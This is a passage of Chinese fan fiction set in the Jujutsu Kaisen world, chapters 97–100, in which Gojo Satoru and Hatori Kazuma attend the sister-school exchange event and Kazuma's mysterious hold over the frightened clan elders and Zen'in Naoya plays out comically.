结果五条悟左等右等,都快把姐妹校交流会等来了,也没等到五条辰雄对这件事有反应。 而且在一起吃饭的时候,也仍旧对他笑得亲切又和蔼,聊些今天又去做什么的家常,完全没有针对忌库咒具被他拿走的那件事,对他进行兴师问罪的意思。 五条悟眨巴眨巴苍瞳,整个人都惊了。 ……真的假的! 也就是说,这些老家伙不仅完全没怪罪他这么做,反而是默许了? 那只黑豆柴真的没有洗脑之类的术式吗? 或者是恐吓老年人,让他们的脑筋突然变灵光…… 哎呀,早知道威胁一下的效果有这么好,他早就这么干了嘛! 坐在前往京都咒术高专的五条悟越想越咂舌,手肘拱了拱坐在身边的羽取一真。 “你是怎么发现他们吃恐吓这套的?” 防止被司机听见,他侧过身和羽取一真偷偷咬耳朵。 羽取一真怔了下,认真想了想。 五条家的老头npc其实没有吃过无限烂饭,他们对他的惧怕是因为在总监部的时候,他发动过能让人的菊花尝到味觉的[戒禁取见],估计是那时把他们都吓着了。 嗯,再加上经过悟的同意,抢了他们宅邸种菜吧。 或许,还要再加上对加茂家和禅院家的遭遇感同身受? 总之,那一长串负到只能显示一百的好感度,是他成为咒术界活阎王的最有力佐证。 而这些实例,不仅构成了他们在这周目对他有着刻入骨髓的畏惧与排斥,还证明了这帮老头npc是无比惜命的。 至少做不到宁死不屈。 否则,一周目死在他手上的高层npc应该还要再多些。 这也是为什么羽取一真在二周目敢直接去威胁五条辰雄要么死,要么听话。 因为他清楚这些人吃这一套。 但这个理由,没办法跟五条悟解释啊…… 羽取一真思索着,缓缓开口道。 “我曾经,见过有人这么干,效果很好。” 五条悟睁大眼:“……” 又是孤儿,又擅长左丨轮丨手丨枪,还见过有人用恐吓这招逼别人就范。 羽取一真在入学高专前,到底都经历过什么? 这也是他看起来比实际年龄要沉稳的缘故吗? 怎么想,那都不可能是一段美好又幸福的时期…… “这、这样啊,嗯。” 五条悟默默挪开目光,甚至都有点后悔问出这个问题了——他只是比较喜欢玩闹,并非真的读不懂空气。 要不,等会去看完那个交流会后,带羽取一真去吃点好的吧……京都最贵的餐厅是哪家来着? 短短两句话来回的功夫,五条悟已经脑补出了这只黑豆柴悲惨又黑暗的幼年时光,甚至是搭配苦情背景音乐的那种。 羽取一真微微歪过脑袋。 “……?” 第97章 [京都府立咒术高专]与[东京都立咒术高专]同样, 是专门培养咒术师的学校,同时也会负责统筹任务分配、协调相关人力、保障后勤资源等等…… 总而言之,整个咒术界就只有这两所学校, 要做的事情也几乎一样。 甚至连在校就读人数也是如出一辙的少。 针对这个现在, 漂亮小悟给他的解释是[术师天然就是相当稀缺的,或许有些普通人也拥有生得术式,但脑部构造才真正决定了他们是否能觉醒成为术师]。 羽取一真倒觉得这就是游戏的设计者在偷懒,不想再费脑子构思更多人物角色以及关系。 而这次的姐妹校交流会,就是一场咒术师之间的小型对抗赛。 “每年都会举办一次啦,具体举办时间倒没有严格规定, 一年到头的哪个月都有可能。” 五条悟又开始仔仔细细地给羽取一真科普起新设定。 不如说,羽取一真对于这个咒术界的绝大部分设定, 都是从对方这里学到的。 “因为咒术界的人手常年不足嘛, 咒灵的诞生又基于普通人的负面情绪波动。” 五条悟指了指自己的太阳穴。在踏入京都咒术高专, 前往举办地的途中, 他提前给羽取一真这个咒术界小白紧急补充点相关知识。 “古代还好说,全日本的人口数量加起来甚至还可能比不上现在的东京呢, 能诞生的咒灵数量也不会太多。” “就算能觉醒的咒术师人数稀少,倒也还可以应付。” “但现在是人口大爆炸的时代,光是东京就有差不多一千四百万人喔?再加上各种其它社会问题,导致普通社会的负面情绪也在大量累积啊, 每年需要应付的咒灵数量都在不停上涨, 包括等级也是。” 羽取一真边听边点头——假如有纸笔在眼前,他甚至会动笔将这些记下来——在满足漂亮小悟的情绪价值上, 他能毫无争议的拿到一百分。 “我记得还有诅咒师需要应付。” 想起他和漂亮小悟做的第一个任务,羽取一真补充道。 “诅咒师,哼哼, 那帮家伙啊,我小时候也算是见过一次,好像是被悬赏金额钓上钩了,想来杀我呢。” 五条悟抬起了点单边眉梢,苍瞳却微微眯起,罕见做出了极为不屑的轻蔑表情,好似在讨论一堆垃圾或者杂鱼。 如果是那些诅咒师站在他面前,大概已经被吓到要使出保命手段,或是做好拼死一搏的准备了。 但他身边是羽取一真,是一只无论漂亮小悟做出如何姿态都会给出超可爱夸夸的黑豆柴。 以至于原本还难得板起脸的五条悟,在视线转向羽取一真、接触到那双总莫名感觉亮晶晶的黑瞳后,立刻绷不住表情的笑了起来,竖起食指冲他摇了下。 “虽然对普通人的危害程度可能比咒灵还高,但他们毕竟还是人。” “只要是人,就能感知恐惧,清楚他们该害怕我,该把自己藏起来,而不是随便出头,搞出惹人瞩目的大动作。” ——并用最轻松的语气,说出了最嚣张的台词。 但这句话里的内容,并没有丝毫夸张或是自我吹嘘的成分。 诅咒师之所以会被称作诅咒师,是他们违背了咒术师最底层规矩——在没有发生紧急事态的情况下,主动使用术式或其它恶劣手段,对普通人造成了一定伤亡。 这不仅是咒术界难以容忍的,同样是普通社会的政府机关不可接受的。 如果咒术师都能毫无顾忌的对普通人出手而没有任何惩罚,所引发的一系列后果简直无法想象。 但这条规矩也不是所有咒术师都会愿意严格遵守,亦如他们并不想无止境的祓除咒灵来保护普通人,让自身始终陷入随时面临死亡的险境。 他们选择背离咒术界,成为行事再无任何顾忌的诅咒师。 既能活得潇洒又自由,来钱的路子也比提着脑袋辛苦给咒术界打工要多上太多了。 就算被判处死刑又能怎么样,咒术师连那些一年比一年活跃的咒灵都管不过来,又怎么可能顾得上能够隐藏在人类社会里的他们? 想想那个能当上电视台部长的诅咒师,就算害死员工也毫不在意,怎么可能是靠常规途径做上去的。 如果没有五条悟的横空出世,对这帮诅咒师造成了强横到蛮不讲理的力量碾压效果,他们根本不会像现在这样活得小心谨慎。 而五条悟自己,却没有因为这份强大到能令他随心所欲行事的力量,而选择成为“自由的”诅咒师。 在他的身上,力量成为一种再直白不过的人性考验,而善良与责任,则是他交出的最温柔的答案。 或许这周目的五条悟才刚开始成长,但羽取一真心底清楚,他总有一日也会成为上周目的悟,具备强大却温柔的力量,和数十年如一日的初心。 羽取一真,正是因此而对五条悟感到永恒的心动。 “不愧是悟。” 他欣然开口夸夸,说出口的每个音节都真心实意,令五条悟的苍瞳亦随之骄傲地眯起,好似在回答[那是当然的]。 “所以啦,像这种姐妹校的交流会,大概抽个零散空闲的两天就可以举办了。” 在那小小的高兴过后,五条悟还不忘把话题拉回来。 “通常都是二三年级的学生凑够人数参加,所以今年没有我们的份啰。”——他摸摸下巴。“不过我可能也不会参加吧,据说每年都是一天团体战和一天个人战,我去的话,胜利就没什么悬念了。” 很嚣张,可也是大实话。 羽取一真点头:“你不去,那我也不去。” 这话听起来怪有意思的,颇有一种那我也让让他们的感觉,让五条悟忍不住又发出轻笑。 真是的,只要是和羽取一真在一起,他的心情总是会很好啊,就像飘在空中的五彩热气球,半点也降不下来。 不过,五条悟和羽取一真在到达会议室前,倒是先遇见了参赛人员。 “——等下等下,你怎么会过来?” 羽取一真循声望去,发现是一个穿着巫女服饰的女性,正超震惊的瞪向这边——确切的说,是瞪向五条悟。 他在上学期的课程中,姑且也见过这些高年级的学生几面,知道这位巫女服是五条悟和他的学姐,名字叫庵歌姬。 “呀,是歌姬啊。” 五条悟抬手撑在羽取一真的肩头,歪头冲庵歌姬打招呼。 “原来你也参加了吗?我会给你加油的哦——” 他的口吻相当随意,没有半点因为比对方小两岁又是低学级的关系,就对庵歌姬表示出依社会惯例而约定俗成的尊敬。 理所当然的,对面立刻就炸开了,怒气冲冲的声音瞬间穿透过来。 “才不要你加油——给我说敬语啊!” 与之相对的,是五条悟幽幽叹口气。 “唉…好古板的家伙。” 又不是不能交流,怎么总在敬语这种事上这么纠缠不放呢? 他就算是对着家里的长老们也是几乎不说敬语的啦,又不是在刻意针对她。 庵歌姬听见了这句评语——身为学姐的她被这样随意对待,气得都快咬牙切齿了,然后被身边的同伴拉走。 “好啦好啦,也没什么关系啦。” 旁边人边哄她,边和五条悟以及羽取一真打了个招呼,知道他们是被邀请来旁观后,便笑着离开了。 其实这也不是和五条悟关系好才不计较,而是面对这位身份太高、实力又远超他们的后辈,连他们也不知道该拿出什么态度来对待,索性打着哈哈过去就完事。 他们既不想真的惹怒这个超强后辈,又自认五条悟这种不尊敬前辈的嚣张性格应该很难混熟,干脆就绕着走好了。 留下五条悟转过头,对着羽取一真。 在他还没有说话前,羽取一真抢先一步开口:“我也不喜欢说敬语。” 不然怎么会被现实世界里的同学称为面瘫酷哥。 这句明晃晃的安慰发言,瞬间就逗乐了五条悟。 “谁想说这个啦。” 虽然他原本就觉得无所谓,但被黑豆柴这么一说,连刚升起的那点吐槽都立刻抛脑后了,带着人往会议室的方向走去。 “既然他们到了,团体战应该快开始了,我们得快去观众席才行——” 不过,五条悟总感觉自己好像忘记点什么。 嗯……到底是什么事情呢……算了,既然他想不起来,应该就不是什么重要的大事啦! 五条悟顿时又变得开开心心的,直到他哗啦一下打开门,面对那齐刷刷望过来的目光之时—— 他才想起来。 这次的姐妹校交流会不止是五条家被邀请观战,禅院家和加茂家的也包括在内了啊! ——对此,在五条家悠哉品茶的五条辰雄摊手表示没办法,总不可能只安排五条家吧,那未免显得太刻意了。 而此刻,已经迟了。 这些对内幕一无所知、高高兴兴来参加观赛的加茂家和禅院家,以为是打算趁机碰头,结果赫然出现在他们面前的—— 是刻进他们DNA里的活阎王羽取一真。 “咳咳、咳咳咳……!!” 一时间,被茶水呛到的声音此起彼伏,造成的动静比见到特级咒灵来袭还要慌乱一百倍。 砰! 而其中,还有个本能反应更剧烈的,几乎是吓得整个人都快跳起来,结果连带靠椅一并翻倒在地。 “你…你……” 颤抖的声音响起,让毫不意外这幕的羽取一真黑瞳转动,望过去。 “嗯?” 而后,他微微挑起眉梢。 打开【社交】界面才发现,原来是那个禅院家的下任家主。 一回忆起那些话,就好想再揍他一次。 第98章 当然, 上周目的羽取一真揍起这位禅院直哉来,并没有丝毫手下留情。 他能活着纯属自己年轻力壮,血条比较厚, 又有咒力强化身体, 能扛得住羽取一真的拳头。 以及羽取一真还需要他亲自上门给五条悟道歉,才在最后勉强同意收手,没有真的打死这个敢乱说悟坏话的禅院直哉。 至于后来看见他后面挂着的-100好感度,羽取一真更是完全不放心上。 在他这里-100好感度的npc多了去了,还欠禅院直哉这一个? 而禅院直哉,显然并不这么认为。 那一顿[黑闪]给他打出了太过黑暗的心理阴影, 连同后来不得不上门给五条悟本人道歉,更是令他的心底充斥着莫大的屈辱与怨恨。 这份畏惧、屈辱、怨恨以及更多的负面情绪交织, 哪怕继承到下周目被打了个折, 也仍旧多得恐怖。 咒术界的高层们, 顶多是吃烂饭到撑, 每天16个小时干活到腰肌劳损,目睹同僚的菊花拥有味觉……再不济, 也就是一枪了事嘛! 而禅院直哉,是实打实被揍到濒死,不得不上门求家入硝子救命,而后还要土下座给五条悟道歉——这一连串身体与精神上的双重打击, 给他带来的痛苦实在太过深刻。 好感度列表里的-100, 那是只有-100吗?那是只能显示-100啊! 他的恨、他的畏惧、他那连牙都快咬碎的屈辱,岂是区区-100能体现出来的! 如果要把列表里所有人的好感度按照实际数值排个序, 禅院直哉肯定低居倒数第一。 因此,在这间会议室里,禅院直哉见到羽取一真的反应最为激烈。 如果不是关键时刻紧急刹车, 他差点想要就地打个洞逃走,离这恶魔越远越好。 而这一连串行为,全部是被肌肉操纵下的身体本能。 直到禅院直哉坐在地上发懵,都想不明白为什么自己的情绪与思维会变得如此……混乱。 不过,其余人也没比他好多少就是了。 加茂长吉这种与羽取一真见过一次面的,还勉强算有点应对经验。 禅院家以及其它反应剧烈的人,在那阵剧烈的情绪波动过后,一个比一个更要显得茫然,面面相觑,完全不清楚发生了什么事。 等羽取一真跨进会议室里时,整个房间又瞬间变得鸦雀无声,每个人都避开视线,不想与这个黑发少年对上目光。 羽取一真更是目不斜视,跟着漂亮小悟挑了张空位坐下,也不在乎这些人是如何对他避之不及。 哪怕将这些人捆在一起放他面前,也比不上悟的半根手指重要。 “真稀奇,这副场景我还是第一次见到呢。” 满场寂静之中,也有并不对羽取一真感到畏惧的人。 “呀,是冥小姐。你来帮忙用乌鸦帮忙转播战场现况吗?” 五条悟抬手和那位身穿纯黑正装的年轻女性打招呼,边向羽取一真小声介绍她的名字叫冥冥,目前在东京咒术高专当辅助监督,间或会接一些任务完成——但都需要付钱。 不过呢,据说冥冥这个名字也是假的,真正身份没有人清楚。 但唯有一件事情可以肯定,那就是她特别、特别的喜欢钱。 只要付得起价钱,想委托她做什么都可以。 “是呢,毕竟已经付过钱了。” 冥冥坐在会议室靠后的位置上,偏深的双眸半睁半闭,唇角含笑——她不会与任何人起冲突,相对的,也没有任何人能强迫让她选择哪方立场。 而她的术式名为[黑鸟操术],可以操控复数乌鸦,并与其共享视界。 再加上一些咒术上的小手段,让这些乌鸦成为比赛中能进行追踪并实时转播的摄像头,简直再合适不过。 开发出这个办法的冥冥,自然也是每年都能小赚一笔,心情非常好。 她的指节抵在下巴上,若有所思的望向羽取一真,似乎想要探究他会让这些高层如此畏惧的秘密。 “你是东京高专的一年级生……嗯,我有点印象。你好啊,一真同学。” 羽取一真的黑瞳转动,没有回应冥冥的招呼,而是将目光落在对方那头颜色极浅的蓝发上。 或者说,更接近于泛着微蓝的白色。 不严谨的讲,这种颜色淡到几乎没有的蓝发,非要将它定位在白毛上,也是可以接受的。 这也是羽取一真来这款游戏里,见到的第二个异于常人的浅发色系。 禅院直哉染出来的金发不算。 总监部那些老到熬出白发也不算。 如果御子柴在这里,大概会认定这位冥冥是白毛控·羽取一真的好球区。 而羽取一真的目光,确实也在那头长发上停留了略长时间,以至于五条悟的视线也随之望过去——而后在心里犯嘀咕。 这小子,在刚认识他那会儿,好像也是总盯着他的头发看啊。 该不会,他喜欢和自己玩的缘由……其实是因为喜欢他的白毛吧? 小悟大惊! 但在他问出口之前,羽取一真就已经收回了目光,而是平淡回应出声。 “你好,冥小姐。” 连对她的称呼都是照搬五条悟的。 “哎呀,是个好孩子呢。” 冥冥也给出了与这间会议室里百分九十的人都不认同的评价,把其他人说得在心底强烈反驳——这家伙到底哪里是个好孩子了! 但要说为什么不好,他们也讲不清缘由。 反正…反正就是不好! 必须得离他们远点,不出现在他的视野里才最好! 还有那个五条悟,竟然能那样若无其事的把黑发少年带过来,看他们的笑话! 这些上周目吃过活阎王苦头的人,一个个在暗地里咬牙切齿,面色狰狞到几乎肉眼可见。 而跟这帮老头npc打过多次交道的羽取一真,怎么可能不清楚他们在想什么。 他抬手按着椅背,慢条斯理站起身。 其余人都坐着,使羽取一真的黑瞳略往下斜睨,在此刻形成了居高临下的极强气势。 “各位对我和悟来观战有什么意见吗?” 尚未褪去少年音色的声线平静,冷淡,还透出点彬彬有礼的架势——那些人可不这么认为,他们只觉得这个恶魔简直坏透了,还胆敢特意出声挑衅他们! 可就算他们在心里如何破口大骂,表面仍然下意识唯唯诺诺、连声应和。 “哪里哪里。” “代表五条家,应该的。” “悟这孩子啊,怎么说也是下任家主,正好让我们提前习惯下。” “直哉不也过来了吗,你们同辈,到时候多交流交流。” ——听到最后一句的禅院直哉简直差点冲那人骂出声。 谁要和这个恐怖的家伙多交流交流! 他一看那个恶魔,就无意识的开始手抖腿软! 就算是当初见到堪称鬼煞的禅院甚尔,也只是使他产生崇拜之情,而不是像现在这样直接让恐惧具现化了啊! 至于五条悟,他早就乐得不行。 这只黑豆柴恐吓老头的威力竟然这么强,一句话就让这些动辄对他横鼻子竖眼睛的老家伙们,如此低声下气。 不管究竟是什么原因导致的,他都觉得这一幕简直超有意思! “好说好说——” 听见五条悟还在哈哈哈个不停的其余人:“…………” 这两个臭小子,一唱一和的! ——幸亏,这场交流会并不只有御三家的人,和负责放出乌鸦做摄像头、其余一概不管的冥冥。 “悟,还有一真。” 负责带东京参赛队伍的夜蛾正道心累开口,感觉自己都快被这些催促他来管管的视线扎得短命三年。 “比赛快开始了,坐下来好好看。” 虽然他也不明白为什么羽取一真竟然能对高层产生极强的威慑力……但毕竟还是他的学生,又只是口头说了两句,没有真的做出什么事情,他也不可能当着这么多人的面出声训斥。 “是——” 看够乐子的五条悟笑眯眯拖着长腔应声,顺手拉了拉羽取一真的衣角,让他也坐好。 羽取一真乖乖随着悟拉扯的力道坐下,随即便有温热的气息贴近他的耳畔,伴随着气音一字一句开口。 “你刚才,看了冥小姐的头发好久。” 记仇小悟可等不到私下相处的时候再问,立刻跟羽取一真咬起耳朵。 “是不是也在偷偷喜欢她的头发?” 哼,是不是也看中了他的发色,才会想要和他待一起的? 羽取一真缓慢眨了下黑瞳,没想到五条悟连这点细节都观察到了。 而当他转过目光时,能看到墨镜都被摘下来,在用那双漂亮的雾蓝苍瞳明晃晃控诉他的五条悟。 竟然有这么在意他刚才到底在想什么吗? 于是,羽取一真没忍住抿起唇角,也抬手挡着他偏过去的脑袋,对五条悟小声回道。 “我刚才只是在想,她的头发颜色要是再深一点,就跟你的眼睛颜色差不多了。” “不,就算再深一点也不会变成我的眼睛颜色啦……” 五条悟轻声嘟哝着,却在下一刻倏尔睁大眼,猫似的圆溜溜,又惊讶又可爱。 “只想了这个?” “只想了这个。” 第99章 东京咒术高专与京都咒术高专的姐妹校交流会, 说是每年抽签决定比赛形式,但基本都是团体战和个人赛各占一天。 而团体战,则大多围绕在双方在一块固定区域内, 争夺被投放进去的咒灵并进行祓除得分。 这些咒灵的等级基本都在二级以下——毕竟高等级的咒术师远比想象中要稀缺。 像东京咒术高专这届, 能招到五条悟和夏油杰这两个特级潜力股,已经是很了不得的情况了。 五条悟的[六眼]+[无下限]太过稀有,而夏油杰那能够不限数量操纵咒灵的[咒灵操术],也具备相当程度的杀伤力。 至于羽取一真,他这种入学前没人能够教导的非家系咒术师,哪怕暂时不知道该怎么使用自己的术式, 其实也属于正常情况。 甚至还有仅拥有咒力、却没有觉醒生得术式的咒术师——这种时候,他们则会学习一些通用的技巧或简易领域来对敌, 例如结界术或[新·阴流]。 总之, 咒术界的咒术师人才真的很紧缺, 且大部分的水平都在二级及以下。 好比身为五条悟学姐的庵歌姬, 目前也只到达二级咒术师的水平。 “——原来是这样。” 听完这些解释,羽取一真轻轻点头。 经过刚才那几句关于冥冥头发话题的短暂交流后, 记仇小悟立刻变成快乐加倍小悟,布料摩擦间窸窸窣窣的紧贴着羽取一真,在小声给这个咒术新人科普相关知识。 学校虽然会教很多关于咒力应用的理论知识,但并不会连这种有点扎心的咒术界真相都一并交给他们。 明明是两把有扶手的靠椅, 硬是被五条悟挤了过来, 扶手都变成了格外碍事的东西,险些被他一个用力拧下来。 “我还以为这是往上一掰就能收起来的那种扶手结构呢。” 五条悟轻声咕哝着抱怨, 险些让羽取一真漏出点明显的笑音。 又不是看电影或者坐飞机,怎么可能说扶手想掰就就掰起来啦。 好在五条悟及时收手,没有因为前几下没掰动扶手而下意识想要灌注咒力强化肉丨体素质, 真的破坏了这些学校财产。 “总之啊,这种对战超无聊的。” 五条悟继续放过那个发出明显吱呀一声的可怜扶手,转而撑着它继续跟羽取一真咬耳朵。 传入羽取一真耳朵里的声音又轻又软,像刚舔完一大根云朵似的棉花糖,甜到让他的心情也随之朝晴空漂浮。 “如果要我来选,肯定不搞这种无聊的对战方式。” 羽取一真也压低声音问他:“你会选择哪种方式?” “哎呀,那可多啦。” 在这间不得不压低声音的会议室里,连五条悟平时那故作恶劣的哼哼轻笑也变得柔软,又透着一点狡黠的气音,好似一杯正在咕嘟作响的冰镇碳酸汽水。 一边让人觉得他肯定超坏心眼,一边又难以自制的觉得可爱极了。 “比如啦,这个人数正好拿来打篮球,还可以玩拔河、投球、骑马打架、借物赛跑、橄榄球、保龄球、棒球……” 五条悟越数越兴奋,恨不得真将这些一听就很有意思的项目都丢进那些抽签桶里。 羽取一真边听边点头——这就跟他们学校的运动会差不多了啊。 “以后会有机会的。” 他小声对五条悟说,“例如等明年你也能参加这个交流会后,向夜蛾老师申请……” 坐在他们前面的夜蛾正道将这些对话都听了个七七八八,沉默表情下的满脸都写着无语。 为了在咒术方面比拼出一个高低才举办的姐妹校对抗赛,怎么可能真的去玩这些过家家似的活动啊。 悟这小子还真是敢想……另一个也真是乱建议! 不过,夜蛾正道估计五条悟明年大概率可能上不了场。 他太强了,就算东京咒术高专想要让他上场,京都咒术高专这边也不会答应的。 这不就相当于往一群跳舞似的土拨鼠打架里,突然投放进一只会喷火的霸王龙吗。 “说得有道理,”五条悟眼睛一亮,“啊,万一夜蛾老师不同意怎么办?” “我来恐……” 羽取一真的话刚开了个头,赶紧被五条悟伸手捂住了——他都看见坐前面的夜蛾老师转过头啦,哇哦好吓人的表情呢! 夜蛾正道:“…………” 这两个臭小子! ……… 这场团体战,总算是在观众皆看得心不在焉的情况下,接近了尾声。 目前来看,是东京咒术高专这边的胜利。 双方虽然有过几场遭遇战,但都很克制的在切磋,目标也是让对方失去进攻能力,而没有下死手。 对于在森林、建筑以及溪流旁奔跑、战斗的学生来说,他们当前的压力只在于能否胜利,并没有关于性命的危机感。 而御三家的这帮人,全程坐立难安,是当真感觉自己呆在这里每过一分钟,离死神的距离就越近了点。 他们就算想破脑袋,也搞不懂为什么自己会对那个黑发少年如此惧怕。 像加茂长吉这种不是第一次见到黑发少年的,还以为他们这次已经做好心理准备,能使用平常心态来对待他……个鬼啊。 见到他可比真的见到鬼恐怖多了! 至少普通人认知里的“鬼”,还能用咒术界里的“咒灵”来解释。 但这个黑发少年,让他们怕得根本不讲道理! 这就导致了团体战一宣告结束,公布今日胜者为东京咒术高专后,御三家这帮老头整整齐齐地哗啦一下站起身,包括京都咒术高专那边的校长——乐岩寺嘉伸,他也是总监部核心保守派的一员。 把正打算对败北一方说两句客气话的夜蛾正道都吓一跳,茫然左右张望了下。 毕竟一周目的羽取一真对夜蛾校长很有礼貌,没让对方吃过活阎王的苦,使他的好感度难得维持在正数。 “咳咳,老夫突然有点事……” “既然比赛结束,我也不便久留……” “也记得叮嘱那些学生们好好歇息,辛苦了……” 借口找得一个比一个随意,腿脚走得一个比一个利索。 禅院直哉也想跟着开溜,被五条悟抬手就是一把按住肩膀,整个人顿时被压在原位上,动弹不得。 “别急着走啦,禅院家的。” 五条悟抬了抬眉梢,对上他的笑容分外和善。 “我记得你叫直哉来着?没错吧?” ——他假装自己好像真的只是第一次见到禅院直哉,手下的力道却重得让对方勉强才能挺直腰背。 “正好我们差不多年龄,来一起聊聊天嘛。” 羽取一真站在五条悟旁边,目光也落在禅院直哉身上,大有[你敢逃跑一下试试]的意味在里面。 被两个恶魔包围的禅院直哉:“…………” 可恶啊,早知道他就不来凑这个热闹了! 他怎么就是管不住自己这颗爱凑热闹的心呢,以前想看看吊车尾也立刻跑去看见过被震撼到;现在想看看咒术高专的学生水平也特意跑来看,结果被吓得更加失态…! 要是让五条悟听见这话,指不定还要怎么翻白眼。 什么爱凑热闹,这个人只是想来借助身份、术式、地位或者别的什么能比得过他人的东西,以此来洋洋得意的品尝这份居高临下的优越感罢了。 如果羽取一真没登场就把他吓成这样,这家伙指不定会对正在比赛的咒术师们说点什么轻蔑话呢。 例如“非禅院家的术师原来就这点水平吗”,或是“难怪说[非禅院者非术师、非术师者非人]呢”之类一听就会让人血压飙升的台词。 顶多再补一句“哎呀呀,都这么努力的拼命了,我也勉强夸奖一下好了”。 禅院直哉作为禅院现任家主之子,又是觉醒了家传术式的天才咒术师,得到的资源自然也是顶级的。 作为同样接受家族精英教育、年龄又极相近的五条悟和禅院直哉,自小也算是打过照面。 不过,互相也不怎么对付就是了。 五条悟对禅院直哉那相当适应家族迂腐规矩,甚至反过来仗着自己身份与实力、对着比他弱小的族人肆意欺凌的行事作风感到极为排斥。 禅院直哉则是心知自己打不过五条悟,再加上对方是早已确定的五条下任家主,怎么说也必须维持表面的和气。 但就是那种看人下菜碟的态度,反而让五条悟更加不想跟禅院直哉打交道。 不过嘛,今天不一样。 五条悟真的超——极感兴趣,御三家的那些老头就算了,为什么只比他小一岁的禅院直哉也能被羽取一真吓成这样呢。 而整间会议室变得空荡荡之后,五条悟对着朝他们望过来的夜蛾正道,无辜眨了下苍瞳。 “老师,我只是和他聊聊天啦。” 五条悟边使出萌混过关大法,掌心边不动声色的用力,强迫禅院直哉跟他走。 “我们早就认识的啦——” 羽取一真同样投来冰冷一瞥,把正要开口的禅院直哉吓一激灵。 禅院直哉:“……” 禅院直哉忍辱负重的附和道:“对。” “就是这样,我们聊聊天就把他放回去……不是,送他回去哦!” 五条悟边说边带着人溜走,几步就离开了这间会议室,然后开溜。 夜蛾正道:“………” 算了,总归是禅院家的内定继承人,也不是他高专的学生……没必要插手管太多。 ——而另一边,五条悟拎着禅院直哉随便找了个角落,松手让他自己找块地坐。 羽取一真则示意他跪坐。 这是两膝着地、臀部压在自己的双脚上、腰背挺直的正座姿势,是一种相当正式且传统的礼节,虽然男女都会使用,但如今更多是女性需要学习并严格遵守,男性往往会选择随意的盘腿而坐。 这个让禅院直哉跪坐的要求,很难说羽取一真没有在记上周目的仇。 对他说了那么多难听的话,挨几拳揍就完了?想得美。 而禅院直哉,在听到这个要求时,他整个人都惊呆了。 “……你知不知道我是谁?” 禅院直哉瞪大眼睛,难以置信自己身为御三家之一的核心成员,天才咒术师,未来的禅院家主……竟然要受这个无名小卒的驱使,做出如此屈辱的女性化礼节! “你最好小心点,来自禅院家的报复可是……” “再多说一句就让你土下座。” 羽取一真淡淡开口,这副[你大可以来试试]的强势姿态,把五条悟都惊到在用表情对他无声说“哇哦”。 原来黑豆柴也能这么有气场! 而被羽取一真出声威胁的某人:“………” 禅院直哉的心里骂骂咧咧。 禅院直哉的身体乖巧照做。 第100章 “你到底要……问什么?” 前半句刚开口时, 禅院直哉还说得极有气势,是他一贯那股高高在上味的遣词措句。 但当他抬头,与羽取一真那双暗沉沉的无光黑瞳对上时, 后半句的话风当即一转, 硬生生压成了委曲求全。 纵然禅院直哉再如何在心底咬着牙骂,也改变不了半点他在肉丨体上对羽取一真有着深入骨髓的恐惧。 这种恐惧,跟见到禅院甚尔比起来是截然不同的。 至少当他看见禅院甚尔的时候,不会有[再不逃命就会死]的本能冲动。 他不仅想跑,还想开着[投射咒法]跑,浑身上下的每一个细胞里都写满了对这个黑发少年的害怕。 而五条悟, 都被这顺从无比的禅院直哉给弄得有点诧异——他竟然真的听一真的话,把姿势改成了正座耶? “你以前见过一真?” 五条悟开口, 先问出最想知道答案的问题。 都快把他好奇死啦! 跪坐在草地上的禅院直哉深吸口气, 摇头, 连目光也没敢往羽取一真的方向瞄。 “从来都没见过。” “真的?” “真的, 连名字都是今天才听见。”禅院直哉垂头丧气,“连他姓什么都不知道。” 竟然被这个全程只听见别人喊他“一真”、姓什么都不清楚的黑发少年吓个半死……屈辱啊。 听到这个回答的五条悟抬了抬眉梢, 也不算特别意外。 “好吧,那你为什么能怕他怕成这样?” 五条悟抬手搭在羽取一真的肩头,甚至还歪过脑袋蹭了蹭,翘起的柔软白发就这样扫过羽取一真的侧脸, 好似被一把漂亮又精致的羽毛扇拂过面颊, 姿态亲昵无比。 而后者也没有半点抗拒的意思,把禅院直哉的眼角都看得微微抽搐了。 这两个人到底是什么关系? 该不会这是五条悟专门找过来整蛊他的吧?? 禅院直哉转念一想不可能, 那些长老同样被吓得堪称屁滚尿流——虽然他也想用点文雅的词汇去形容这些长辈,但现状就是这么令人发笑。 如果他也不是被发笑的其中一员,他会用更幸灾乐祸的视角去欣赏这幅场景, 而不是像现在这样…… “我也不清楚,可能是这家伙拥有什么奇怪的术式吧。” 禅院直哉想翻白眼,但他不敢,只能老老实实的继续回答。 “这种事情,你不应该问他才更清楚吗。” 这话听着阴阳怪气的,羽取一真发出一声冷冰冰的警告。 “对悟放尊重点。” [业双]现在就别在腰后,当心他抽出来对着这个禅院直哉来一发[黑闪·棍击加强版],那威力可不是光拳头能比的。 禅院直哉:“…………” 禅院直哉忍着内心翻江倒海似的庞大负面情绪,又将这句话用敬语复述了遍。 铭刻在身体的本能恐惧在劝他,人在某些时候,还是得学会及时低头…… 堂堂禅院家的“天才”、“内定的家主继承人”,动辄对别人说三道四、出言刻薄的家伙,竟然让一只黑豆柴吓成这样,五条悟简直笑得不行。 “我的眼睛很好,你也知道的。” ——他抬手指着自己没有被墨镜遮挡的苍瞳,认真对禅院直哉说道。 “有没有发动术式,我一眼就能看出来。” 在这点上,禅院直哉也无法反驳。 别说术式在发动过程中会持续消耗咒力,有些必中术式乃至领域,在发动时甚至会在术师身上弥漫出咒力之[兴]。 前者或许仅有[六眼]能看出来,但后者可是只要会感知咒力的术师,都能清楚的分辨出来。 二者结合,五条悟可以笃定羽取一真现在没有发动任何术式。 “那我怎么会知道?” ——经过刚才那一吓,禅院直哉连自暴自弃都只敢用敬语。 “谁知道他对我们动了什么手脚。” “唉,”五条悟很遗憾,“结果只绑过来一个笨蛋啊。” 还是不清楚原因,好奇心快要害死猫了。 羽取一真在心里小声跟五条悟道歉,不是他不想说,而是这些游戏设定的相关内容他说不出口。 被骂笨蛋的禅院直哉:“…………” 要不是这个黑发少年在这里,他早就……就……就也打不过五条悟。 需要用手掌拍中敌人才能奏效的[投射咒法],压根破不了[无下限]的防。 可恶! “既然你们没有别的问题,那可以放我走了吗。” 禅院直哉还在艰难维持着跪坐的姿势,感觉自己的双腿已经麻得没了知觉。 “真是无妄之灾……” 明天说什么也不来旁观这个姐妹校交流会了! 他身为御三家的精英咒术师,根本就不需要来高专上学——也就五条悟这种行事古怪的家伙,才会去那些杂鱼扎堆的咒术学校。 禅院直哉在心底唾弃这个五条家的[六眼],但又不敢表现出来,又因为腿太麻,连带表情都变得龇牙咧嘴的。 五条悟想了下,发现确实没什么好再跟他说的,于是挥手要让这家伙走人。 他又不是真的跟禅院直哉关系好,才特意把他拎过来聊天的。 